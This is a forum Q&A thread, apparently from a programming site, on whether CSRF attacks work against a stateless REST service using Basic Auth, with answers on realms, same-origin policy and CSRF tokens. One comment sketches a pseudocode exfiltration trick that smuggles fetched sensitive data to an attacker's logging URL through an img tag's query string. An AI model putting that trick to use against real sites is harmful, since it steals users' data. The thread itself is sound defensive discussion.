tags:

views:

334

answers:

2

Is Cross-Site Request Forgery possible against a stateless RESTful service?

I'm not talking about pseudo-REST where the server remembers that you're logged in via a cookie. I'm talking about pure no-application-state-on-the-server REST with no cookies.

I'm using SSL and Basic Authentication. For every request, that Authorization header has to be there. There is no "session" in the JSP sense, although there is some sort of session at the SSL level.

So let's assume I'm viewing the legitimate web page that makes Ajax requests, and somehow I go to a different page in the same tab or a different tab, and that page makes the same Ajax request. (I'm assuming there is no malicious code on the legitimate web page; that's a different thing entirely and anything is possible in that case.)

When the second page makes the Ajax request, will the browser put on the same Authorization header? i.e. will the browser say "Oh, you want to go THERE again? Hey, I just happen to still have the key!"?

Also, couldn't the malicious script do the xhr request, then in the callback take the request from the ioargs, get the Authorization header and un-Base64 the name and password?

A: 

Disclaimer: I am not a security expert.

Using HTTP Basic Auth does not prevent CSRF attacks via GET requests. E.g. somebody else can include an img tag in their HTML page that does a GET on some well-known URI, and your browser will happily send along the basic auth info. If the GET operation is "safe" (which is the #1 rule for anything claiming to be RESTful), this will not create a problem (beyond wasted bandwidth).

Ajax is not a problem because of the same-origin policy.

Only including a server-generated token in the HTML you generate, and validating its presence in form submission requests, will protect you from somebody else simply including a "foreign" form in their pages. You might limit this to the content types generated by browsers; no need to do so for XHR requests.

Stefan Tilkov
IFrames get around same-origin somehow. Would the following be possible: hisData= some sort of iframe XHRGet(csrf);myURL='http://my.site/grab?data='+urlEncode(hisData);myPic.innerHTML='<img src="'+myURL+"' />"; ? assuming csrf is a URL that gets some sensitive data, and a GET on my.site/grab logs that data which we put in the query.
Mark Lutton
+1  A: 

Basic auth applies to a specific "security realm," as defined by the server in combination with the server's URL. Here's what the spec says about the realm value:

The realm value (case-sensitive), in combination with the canonical root URL (the absoluteURI for the server whose abs_path is empty; see section 5.1.2 of [2]) of the server being accessed, defines the protection space.

So, if you have http://foo.example.com, and http://bar.example.com, you will have two different security realms, and the credentials from one will not be provided to the other.

As far as scripts exchanging authentication information, I suppose it's possible if you use AJAST (asynchronous operations invoked via adding new <SCRIPT> tags to the document); a JavaScript expert would have to answer that. It would not be possible with normal AJAX, due to same-origin policy. In any case, you'd have to have cooperating scripts, where the first script explicitly provides the request to the second.

kdgregory